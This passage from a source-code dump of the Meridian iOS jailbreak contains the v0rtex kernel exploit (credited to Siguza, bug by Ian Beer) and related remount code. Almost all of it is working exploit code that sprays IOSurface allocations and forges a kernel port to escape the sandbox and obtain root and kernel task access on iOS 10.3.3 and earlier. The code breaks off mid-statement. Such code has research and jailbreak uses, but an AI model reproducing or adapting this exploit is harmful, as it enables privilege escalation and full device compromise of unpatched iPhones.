+ MOUNT_MNT_FLAG, v_flag);\n    \n    NSLog(@\"final flags = %x\", v_flag);\n    \n    return ret;\n}\n\nint mount_root(uint64_t kslide, uint64_t root_vnode, int pre130) {\n    if (pre130 == 1) {\n        // further patches are requried on <10.3\n        NSLog(@\"pre-10.3 detected: patching lwvm...\");\n        if (!fix_root_iswriteprotected()) {\n            NSLog(@\"fix_root_iswriteprotected failed!\");\n            return -61;\n        }\n        if (!fake_rootedramdisk()) {\n            NSLog(@\"fake_rootedramdisk failed!\");\n            return -62;\n        }\n    }\n    \n    return remount_root(kslide, root_vnode);\n}\n"
  },
  {
    "path": "Meridian/Meridian/v0rtex.h",
    "content": "#import \"common.h\"\n#include <mach/mach.h>\n#include <stdint.h>\n\ntypedef struct\n{\n    const char *version;\n    kptr_t base;\n    // Structure offsets\n    kptr_t sizeof_task;\n    kptr_t task_itk_self;\n    kptr_t task_itk_registered;\n    kptr_t task_bsd_info;\n    kptr_t proc_ucred;\n    kptr_t vm_map_hdr;\n    kptr_t ipc_space_is_task;\n    kptr_t realhost_special;\n    kptr_t iouserclient_ipc;\n    kptr_t vtab_get_retain_count;\n    kptr_t vtab_get_external_trap_for_index;\n    // Data\n    kptr_t zone_map;\n    kptr_t kernel_map;\n    kptr_t kernel_task;\n    kptr_t realhost;\n    // Code\n    kptr_t copyin;\n    kptr_t copyout;\n    kptr_t chgproccnt;\n    kptr_t kauth_cred_ref;\n    kptr_t ipc_port_alloc_special;\n    kptr_t ipc_kobject_set;\n    kptr_t ipc_port_make_send;\n    kptr_t osserializer_serialize;\n    kptr_t rop_ldr_x0_x0_0x10;\n    // Remount \n    kptr_t root_vnode;\n    // AMFID stuff\n    kptr_t vfs_context_current;\n    kptr_t vnode_getfromfd;\n    kptr_t vnode_getattr;\n    kptr_t vnode_put;\n    kptr_t csblob_ent_dict_set;\n    kptr_t sha1_init;\n    kptr_t sha1_update;\n    kptr_t sha1_final;\n} offsets_t;\n\ntypedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb_data);\n\nkern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data);\n"
  },
  {
    "path": "Meridian/Meridian/v0rtex.m",
    "content": "// v0rtex\n// Bug by Ian Beer.\n// Exploit by Siguza.\n\n// Status quo:\n// - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.\n// - Can call arbitrary kernel functions with up to 7 args via KCALL().\n// - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same\n//   effect should be achievable by continuously spraying through zones and\n//   measuring how long it takes - garbage collection usually takes ages. :P\n// - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you\n//   tap on their icons - sometimes affects only v0rtex, sometimes all of them,\n//   sometimes even freezes the lock screen. Can happen even if the exploit\n//   aborts very early on, so I'm not sure whether it's even due to that, or due\n//   to my broken UI.\n// - Most common panic at this point is \"pmap_tte_deallocate(): ... refcnt=0x1\",\n//   which can occur when the app is killed, but only if shmem_addr has been\n//   faulted before. Faulting that page can _sometimes_ increase the ref count\n//   on its tte entry, which causes the mentioned panic when the task is\n//   destroyed and its pmap with it. Exact source of this is unknown, but I\n//   suspect it happening in pmap_enter_options_internal(), depending on page\n//   compression status (i.e. if the page is compressed refcnt_updated is set to\n//   true and the ref count isn't increased afterwards, otherwise it is).\n//   On 32-bit such a panic can be temporarily averted with mlock(), but that\n//   seems to cause even greater trouble later with zalloc, and on 64-bit mlock\n//   even refuses to work. Deallocating shmem_addr from our address space does\n//   not fix the problem, and neither does allocating new memory at that address\n//   and faulting into it (which should _guarantee_ that the corresponding pmap\n//   entry is updated). Fixing up the ref count manually is very tedious and\n//   still seems to cause trouble with zalloc. Calling mach_zone_force_gc()\n//   after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help,\n//   as does calling sched_yield() before mach_vm_remap() and faulting the page\n//   right after, so that's what I'm doing for now.\n//   In the long term, this should really be replaced by something deterministic\n//   that _always_ works (like removing the tte entirely).\n\n// Not sure what'll really become of this, but it's certainly not done yet.\n// Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.\n\n#include <errno.h>              // errno\n#include <sched.h>              // sched_yield\n#include <stdlib.h>             // malloc, free\n#include <string.h>             // strerror\n#include <unistd.h>             // usleep, setuid, getuid\n#include <mach/mach.h>\n#include <mach-o/loader.h>\n#include <CoreFoundation/CoreFoundation.h>\n\n#include \"common.h\"             // LOG, kptr_t\n#include \"v0rtex.h\"\n\n// ********** ********** ********** get rid of ********** ********** **********\n\n#ifdef __LP64__\n#   define OFFSET_TASK_ITK_SELF                         0xd8\n#   define OFFSET_IOUSERCLIENT_IPC                      0x9c\n#else\n#   define OFFSET_TASK_ITK_SELF                         0x9c\n#   define OFFSET_IOUSERCLIENT_IPC                      0x5c\n#endif\n\n#define IOSURFACE_CREATE_OUTSIZE    0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */\n\n// ********** ********** ********** constants ********** ********** **********\n\n#ifdef __LP64__\n#   define KERNEL_MAGIC             MH_MAGIC_64\n#   define KERNEL_HEADER_OFFSET     0x4000\n#else\n#   define KERNEL_MAGIC             MH_MAGIC\n#   define KERNEL_HEADER_OFFSET     0x1000\n#endif\n\n#define KERNEL_SLIDE_STEP           0x100000\n\n#define NUM_BEFORE                  0x2000\n#define NUM_AFTER                   0x1000\n#define FILL_MEMSIZE                0x4000000\n#if 0\n#define NUM_DATA                    0x4000\n#define DATA_SIZE                   0x1000\n#endif\n#ifdef __LP64__\n#   define VTAB_SIZE                200\n#else\n#   define VTAB_SIZE                250\n#endif\n\nconst uint64_t IOSURFACE_CREATE_SURFACE =  0;\nconst uint64_t IOSURFACE_SET_VALUE      =  9;\nconst uint64_t IOSURFACE_GET_VALUE      = 10;\nconst uint64_t IOSURFACE_DELETE_VALUE   = 11;\n\nconst uint32_t IKOT_TASK                = 2;\n\nenum\n{\n    kOSSerializeDictionary      = 0x01000000U,\n    kOSSerializeArray           = 0x02000000U,\n    kOSSerializeSet             = 0x03000000U,\n    kOSSerializeNumber          = 0x04000000U,\n    kOSSerializeSymbol          = 0x08000000U,\n    kOSSerializeString          = 0x09000000U,\n    kOSSerializeData            = 0x0a000000U,\n    kOSSerializeBoolean         = 0x0b000000U,\n    kOSSerializeObject          = 0x0c000000U,\n    \n    kOSSerializeTypeMask        = 0x7F000000U,\n    kOSSerializeDataMask        = 0x00FFFFFFU,\n    \n    kOSSerializeEndCollection   = 0x80000000U,\n    \n    kOSSerializeMagic           = 0x000000d3U,\n};\n\n// ********** ********** ********** macros ********** ********** **********\n\n#define UINT64_ALIGN_DOWN(addr) ((addr) & ~7)\n#define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7)\n\n#if 0\n#define UNALIGNED_COPY(src, dst, size) \\\ndo \\\n{ \\\nfor(volatile uint32_t *_src = (volatile uint32_t*)(src), \\\n*_dst = (volatile uint32_t*)(dst), \\\n*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \\\n_src < _end; \\\n*(_dst++) = *(_src++) \\\n); \\\n} while(0)\n#endif\n\n#ifdef __LP64__\n#   define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32))\n#else\n#   define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr))\n#endif\n\n#define VOLATILE_BCOPY32(src, dst, size) \\\ndo \\\n{ \\\nfor(volatile uint32_t *_src = (volatile uint32_t*)(src), \\\n*_dst = (volatile uint32_t*)(dst), \\\n*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \\\n_src < _end; \\\n*(_dst++) = *(_src++) \\\n); \\\n} while(0)\n\n#define VOLATILE_BZERO32(addr, size) \\\ndo \\\n{ \\\nfor(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \\\n*_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \\\n_ptr < _end; \\\n*(_ptr++) = 0 \\\n); \\\n} while(0)\n\n#define RELEASE_PORT(port) \\\ndo \\\n{ \\\nif(MACH_PORT_VALID((port))) \\\n{ \\\n_kernelrpc_mach_port_destroy_trap(self, (port)); \\\nport = MACH_PORT_NULL; \\\n} \\\n} while(0)\n\n// ********** ********** ********** IOKit ********** ********** **********\n\ntypedef mach_port_t io_service_t;\ntypedef mach_port_t io_connect_t;\nextern const mach_port_t kIOMasterPortDefault;\nCFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;\nio_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);\nkern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);\nkern_return_t IOServiceClose(io_connect_t client);\nkern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);\nkern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);\nkern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);\n\n// ********** ********** ********** other unexported symbols ********** ********** **********\n\nkern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);\n\n// ********** ********** ********** helpers ********** ********** **********\n\nstatic const char *errstr(int r)\n{\n    return r == 0 ? \"success\" : strerror(r);\n}\n\nstatic uint32_t transpose(uint32_t val)\n{\n    uint32_t ret = 0;\n    for(size_t i = 0; val > 0; i += 8)\n    {\n        ret += (val % 255) << i;\n        val /= 255;\n    }\n    return ret + 0x01010101;\n}\n\n// ********** ********** ********** MIG ********** ********** **********\n\nstatic kern_return_t my_mach_zone_force_gc(host_t host)\n{\n#pragma pack(4)\n    typedef struct {\n        mach_msg_header_t Head;\n    } Request;\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        kern_return_t RetCode;\n        mach_msg_trailer_t trailer;\n    } Reply;\n#pragma pack()\n    \n    union {\n        Request In;\n        Reply Out;\n    } Mess;\n    \n    Request *InP = &Mess.In;\n    Reply *OutP = &Mess.Out;\n    \n    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    InP->Head.msgh_remote_port = host;\n    InP->Head.msgh_local_port = mig_get_reply_port();\n    InP->Head.msgh_id = 221;\n    InP->Head.msgh_reserved = 0;\n    \n    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if(ret == KERN_SUCCESS)\n    {\n        ret = OutP->RetCode;\n    }\n    return ret;\n}\n\nstatic kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)\n{\n#pragma pack(4)\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        mach_port_name_t name;\n    } Request;\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        kern_return_t RetCode;\n        mach_vm_address_t context;\n        mach_msg_trailer_t trailer;\n    } Reply;\n#pragma pack()\n    \n    union {\n        Request In;\n        Reply Out;\n    } Mess;\n    \n    Request *InP = &Mess.In;\n    Reply *OutP = &Mess.Out;\n    \n    InP->NDR = NDR_record;\n    InP->name = name;\n    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    InP->Head.msgh_remote_port = task;\n    InP->Head.msgh_local_port = mig_get_reply_port();\n    InP->Head.msgh_id = 3228;\n    InP->Head.msgh_reserved = 0;\n    \n    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if(ret == KERN_SUCCESS)\n    {\n        ret = OutP->RetCode;\n    }\n    if(ret == KERN_SUCCESS)\n    {\n        *context = OutP->context;\n    }\n    return ret;\n}\n\nkern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)\n{\n#pragma pack(4)\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        mach_port_name_t name;\n        mach_vm_address_t context;\n    } Request;\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        kern_return_t RetCode;\n        mach_msg_trailer_t trailer;\n    } Reply;\n#pragma pack()\n    \n    union {\n        Request In;\n        Reply Out;\n    } Mess;\n    \n    Request *InP = &Mess.In;\n    Reply *OutP = &Mess.Out;\n    \n    InP->NDR = NDR_record;\n    InP->name = name;\n    InP->context = context;\n    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    InP->Head.msgh_remote_port = task;\n    InP->Head.msgh_local_port = mig_get_reply_port();\n    InP->Head.msgh_id = 3229;\n    InP->Head.msgh_reserved = 0;\n    \n    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if(ret == KERN_SUCCESS)\n    {\n        ret = OutP->RetCode;\n    }\n    return ret;\n}\n\n// Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.\n// Prepare everything - sched_yield() - fire.\nstatic kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)\n{\n#pragma pack(4)\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        uint32_t selector;\n        mach_msg_type_number_t scalar_inputCnt;\n        mach_msg_type_number_t inband_inputCnt;\n        uint32_t inband_input[4];\n        mach_vm_address_t ool_input;\n        mach_vm_size_t ool_input_size;\n        mach_msg_type_number_t inband_outputCnt;\n        mach_msg_type_number_t scalar_outputCnt;\n        mach_vm_address_t ool_output;\n        mach_vm_size_t ool_output_size;\n    } DeleteRequest;\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        uint32_t selector;\n        mach_msg_type_number_t scalar_inputCnt;\n        mach_msg_type_number_t inband_inputCnt;\n        mach_vm_address_t ool_input;\n        mach_vm_size_t ool_input_size;\n        mach_msg_type_number_t inband_outputCnt;\n        mach_msg_type_number_t scalar_outputCnt;\n        mach_vm_address_t ool_output;\n        mach_vm_size_t ool_output_size;\n    } SetRequest;\n    typedef struct {\n        mach_msg_header_t Head;\n        NDR_record_t NDR;\n        kern_return_t RetCode;\n        mach_msg_type_number_t inband_outputCnt;\n        char inband_output[4096];\n        mach_msg_type_number_t scalar_outputCnt;\n        uint64_t scalar_output[16];\n        mach_vm_size_t ool_output_size;\n        mach_msg_trailer_t trailer;\n    } Reply;\n#pragma pack()\n    \n    // Delete\n    union {\n        DeleteRequest In;\n        Reply Out;\n    } DMess;\n    \n    DeleteRequest *DInP = &DMess.In;\n    Reply *DOutP = &DMess.Out;\n    \n    DInP->NDR = NDR_record;\n    DInP->selector = IOSURFACE_DELETE_VALUE;\n    DInP->scalar_inputCnt = 0;\n    \n    DInP->inband_input[0] = surfaceId;\n    DInP->inband_input[2] = transpose(propertyId);\n    DInP->inband_input[3] = 0x0; // Null terminator\n    DInP->inband_inputCnt = sizeof(DInP->inband_input);\n    \n    DInP->ool_input = 0;\n    DInP->ool_input_size = 0;\n    \n    DInP->inband_outputCnt = sizeof(uint32_t);\n    DInP->scalar_outputCnt = 0;\n    DInP->ool_output = 0;\n    DInP->ool_output_size = 0;\n    \n    DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    DInP->Head.msgh_remote_port = client;\n    DInP->Head.msgh_local_port = mig_get_reply_port();\n    DInP->Head.msgh_id = 2865;\n    DInP->Head.msgh_reserved = 0;\n    \n    // Set\n    union {\n        SetRequest In;\n        Reply Out;\n    } SMess;\n    \n    SetRequest *SInP = &SMess.In;\n    Reply *SOutP = &SMess.Out;\n    \n    SInP->NDR = NDR_record;\n    SInP->selector = IOSURFACE_SET_VALUE;\n    SInP->scalar_inputCnt = 0;\n    \n    SInP->inband_inputCnt = 0;\n    \n    SInP->ool_input = (mach_vm_address_t)buf;\n    SInP->ool_input_size = len;\n    \n    SInP->inband_outputCnt = sizeof(uint32_t);\n    SInP->scalar_outputCnt = 0;\n    SInP->ool_output = 0;\n    SInP->ool_output_size = 0;\n    \n    SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    SInP->Head.msgh_remote_port = client;\n    SInP->Head.msgh_local_port = mig_get_reply_port();\n    SInP->Head.msgh_id = 2865;\n    SInP->Head.msgh_reserved = 0;\n    \n    // Deep breath\n    sched_yield();\n    \n    // Fire\n    kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if(ret == KERN_SUCCESS)\n    {\n        ret = DOutP->RetCode;\n    }\n    if(ret != KERN_SUCCESS)\n    {\n        return ret;\n    }\n    ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if(ret == KERN_SUCCESS)\n    {\n        ret = SOutP->RetCode;\n    }\n    return ret;\n}\n\n// ********** ********** ********** data structures ********** ********** **********\n\n#ifdef __LP64__\ntypedef volatile struct\n{\n    kptr_t prev;\n    kptr_t next;\n    kptr_t start;\n    kptr_t end;\n} kmap_hdr_t;\n#endif\n\ntypedef volatile struct {\n    uint32_t ip_bits;\n    uint32_t ip_references;\n    struct {\n        kptr_t data;\n        uint32_t type;\n#ifdef __LP64__\n        uint32_t pad;\n#endif\n    } ip_lock; // spinlock\n    struct {\n        struct {\n            struct {\n                uint32_t flags;\n                uint32_t waitq_interlock;\n                uint64_t waitq_set_id;\n                uint64_t waitq_prepost_id;\n                struct {\n                    kptr_t next;\n                    kptr_t prev;\n                } waitq_queue;\n            } waitq;\n            kptr_t messages;\n            uint32_t seqno;\n            uint32_t receiver_name;\n            uint16_t msgcount;\n            uint16_t qlimit;\n#ifdef __LP64__\n            uint32_t pad;\n#endif\n        } port;\n        kptr_t klist;\n    } ip_messages;\n    kptr_t ip_receiver;\n    kptr_t ip_kobject;\n    kptr_t ip_nsrequest;\n    kptr_t ip_pdrequest;\n    kptr_t ip_requests;\n    kptr_t ip_premsg;\n    uint64_t ip_context;\n    uint32_t ip_flags;\n    uint32_t ip_mscount;\n    uint32_t ip_srights;\n    uint32_t ip_sorights;\n} kport_t;\n\ntypedef volatile struct {\n    union {\n        kptr_t port;\n        uint32_t index;\n    } notify;\n    union {\n        uint32_t name;\n        kptr_t size;\n    } name;\n} kport_request_t;\n\ntypedef volatile union\n{\n    struct {\n        struct {\n            kptr_t data;\n            uint32_t reserved : 24,\n            type     :  8;\n#ifdef __LP64__\n            uint32_t pad;\n#endif\n        } lock; // mutex lock\n        uint32_t ref_count;\n        uint32_t active;\n        uint32_t halting;\n#ifdef __LP64__\n        uint32_t pad;\n#endif\n        kptr_t map;\n    } a;\n    struct {\n        char pad[OFFSET_TASK_ITK_SELF];\n        kptr_t itk_self;\n    } b;\n} ktask_t;\n\n// ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** **********\n\nstatic kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len)\n{\n    bool twice = false;\n    if(off + sizeof(kport_t) > pagesize)\n    {\n        twice = true;\n        VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off);\n        VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off);\n    }\n    else\n    {\n        VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t));\n    }\n    buf[6] = transpose(pageId);\n    kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len);\n    if(twice && ret == KERN_SUCCESS)\n    {\n        ++pageId;\n        buf[6] = transpose(pageId);\n        ret = reallocate_buf(client, surfaceId, pageId, buf, len);\n    }\n    return ret;\n}\n\nkern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport)\n{\n    request[2] = transpose(pageId);\n    size_t size = respsz;\n    kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);\n    LOG(\"getValue(%u): 0x%lx bytes, %s\", pageId, size, mach_error_string(ret));\n    if(ret == KERN_SUCCESS && size == respsz)\n    {\n        size_t sz = pagesize - off;\n        if(sz > sizeof(kport_t))\n        {\n            sz = sizeof(kport_t);\n        }\n        VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz);\n        if(sz < sizeof(kport_t))\n        {\n            ++pageId;\n            request[2] = transpose(pageId);\n            size = respsz;\n            ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);\n            LOG(\"getValue(%u): 0x%lx bytes, %s\", pageId, size, mach_error_string(ret));\n            if(ret == KERN_SUCCESS && size == respsz)\n            {\n                VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz);\n            }\n        }\n    }\n    if(ret == KERN_SUCCESS && size < respsz)\n    {\n        LOG(\"Response too short.\");\n        ret = KERN_FAILURE;\n    }\n    return ret;\n}\n\n// ********** ********** ********** ye olde pwnage ********** ********** **********\n\nkern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data)\n{\n    kern_return_t retval = KERN_FAILURE,\n    ret = 0;\n    task_t self = mach_task_self();\n    host_t host = mach_host_self();\n    \n    io_connect_t client = MACH_PORT_NULL;\n    mach_port_t stuffport = MACH_PORT_NULL;\n    mach_port_t realport = MACH_PORT_NULL;\n    mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };\n    mach_port_t port = MACH_PORT_NULL;\n    mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };\n    mach_port_t fakeport = MACH_PORT_NULL;\n    mach_vm_size_t pagesize = 0,\n    shmemsz = 0;\n    uint32_t *dict_prep = NULL,\n    *dict_big = NULL,\n    *dict_small = NULL,\n    *resp = NULL;\n    mach_vm_address_t shmem_addr = 0;\n    mach_port_array_t maps = NULL;\n    \n    /********** ********** data hunting ********** **********/\n    \n    vm_size_t pgsz = 0;\n    ret = _host_page_size(host, &pgsz);\n    pagesize = pgsz;\n    LOG(\"page size: 0x%llx, %s\", pagesize, mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IOSurfaceRoot\"));\n    LOG(\"service: %x\", service);\n    if(!MACH_PORT_VALID(service))\n    {\n        goto out;\n    }\n    \n    ret = IOServiceOpen(service, self, 0, &client);\n    LOG(\"client: %x, %s\", client, mach_error_string(ret));\n    if(ret != KERN_SUCCESS || !MACH_PORT_VALID(client))\n    {\n        goto out;\n    }\n    \n    uint32_t dict_create[] =\n    {\n        kOSSerializeMagic,\n        kOSSerializeEndCollection | kOSSerializeDictionary | 1,\n        \n        kOSSerializeSymbol | 19,\n        0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // \"IOSurfaceAllocSize\"\n        kOSSerializeEndCollection | kOSSerializeNumber | 32,\n        0x1000,\n        0x0,\n    };\n    union\n    {\n        char _padding[IOSURFACE_CREATE_OUTSIZE];\n        struct\n        {\n            mach_vm_address_t addr1;\n            mach_vm_address_t addr2;\n            uint32_t id;\n        } data;\n    } surface;\n    VOLATILE_BZERO32(&surface, sizeof(surface));\n    size_t size = sizeof(surface);\n    ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);\n    LOG(\"newSurface: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    LOG(\"surface ID: 0x%x\", surface.data.id);\n    \n    /********** ********** data preparation ********** **********/\n    \n    size_t num_data = FILL_MEMSIZE / pagesize,\n    dictsz_prep  = (5 + 4 * num_data) * sizeof(uint32_t),\n    dictsz_big   = dictsz_prep + (num_data * pagesize),\n    dictsz_small = 9 * sizeof(uint32_t) + pagesize,\n    respsz = 4 * sizeof(uint32_t) + pagesize;\n    dict_prep = malloc(dictsz_prep);\n    if(!dict_prep)\n    {\n        LOG(\"malloc(prep): %s\", strerror(errno));\n        goto out;\n    }\n    dict_big = malloc(dictsz_big);\n    if(!dict_big)\n    {\n        LOG(\"malloc(big): %s\", strerror(errno));\n        goto out;\n    }\n    dict_small = malloc(dictsz_small);\n    if(!dict_small)\n    {\n        LOG(\"malloc(small): %s\", strerror(errno));\n        goto out;\n    }\n    resp = malloc(respsz);\n    if(!resp)\n    {\n        LOG(\"malloc(resp): %s\", strerror(errno));\n        goto out;\n    }\n    VOLATILE_BZERO32(dict_prep,  dictsz_prep);\n    VOLATILE_BZERO32(dict_big,   dictsz_big);\n    VOLATILE_BZERO32(dict_small, dictsz_small);\n    VOLATILE_BZERO32(resp,       respsz);\n    \n    // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9\n    // is actually 0x1000, so references to our reallocated memory may be shifted\n    // by (0x1000 % sizeof(kport_t))\n    kport_t triple_kport;\n    VOLATILE_BZERO32(&triple_kport, sizeof(triple_kport));\n    triple_kport.ip_lock.data = 0x0;\n    triple_kport.ip_lock.type = 0x11;\n#ifdef __LP64__\n    triple_kport.ip_messages.port.waitq.waitq_queue.next = 0x0;\n    triple_kport.ip_messages.port.waitq.waitq_queue.prev = 0x11;\n    triple_kport.ip_nsrequest = 0x0;\n    triple_kport.ip_pdrequest = 0x11;\n#endif\n    \n    uint32_t *prep = dict_prep;\n    uint32_t *big = dict_big;\n    *(big++) = *(prep++) = surface.data.id;\n    *(big++) = *(prep++) = 0x0;\n    *(big++) = *(prep++) = kOSSerializeMagic;\n    *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeArray | 1;\n    *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeDictionary | num_data;\n    for(size_t i = 0; i < num_data; ++i)\n    {\n        *(big++) = *(prep++) = kOSSerializeSymbol | 5;\n        *(big++) = *(prep++) = transpose(i);\n        *(big++) = *(prep++) = 0x0; // null terminator\n        *(big++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1);\n        size_t j = 0;\n        for(uintptr_t ptr = (uintptr_t)big, end = ptr + pagesize; ptr < end; ptr += sizeof(triple_kport))\n        {\n            size_t sz = end - ptr;\n            if(sz > sizeof(triple_kport))\n            {\n                sz = sizeof(triple_kport);\n            }\n            triple_kport.ip_context = (0x10000000ULL | (j << 20) | i) << 32;\n#ifdef __LP64__\n            triple_kport.ip_messages.port.pad = 0x20000000 | (j << 20) | i;\n            triple_kport.ip_lock.pad = 0x30000000 | (j << 20) | i;\n#endif\n            VOLATILE_BCOPY32(&triple_kport, ptr, sz);\n            ++j;\n        }\n        big += (pagesize / sizeof(uint32_t));\n        *(prep++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeBoolean | 1;\n    }\n    \n    dict_small[0] = surface.data.id;\n    dict_small[1] = 0x0;\n    dict_small[2] = kOSSerializeMagic;\n    dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1;\n    dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1;\n    dict_small[5] = kOSSerializeSymbol | 5;\n    // [6] later\n    dict_small[7] = 0x0; // null terminator\n    dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1);\n    \n    uint32_t dummy = 0;\n    size = sizeof(dummy);\n    ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_prep, dictsz_prep, &dummy, &size);\n    if(ret != KERN_SUCCESS)\n    {\n        LOG(\"setValue(prep): %s\", mach_error_string(ret));\n        goto out;\n    }\n    \n    /********** ********** black magic ********** **********/\n    \n    ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport);\n    LOG(\"stuffport: %x, %s\", stuffport, mach_error_string(ret));\n    if(ret != KERN_SUCCESS || !MACH_PORT_VALID(stuffport))\n    {\n        goto out;\n    }\n    \n    ret = _kernelrpc_mach_port_insert_right_trap(self, 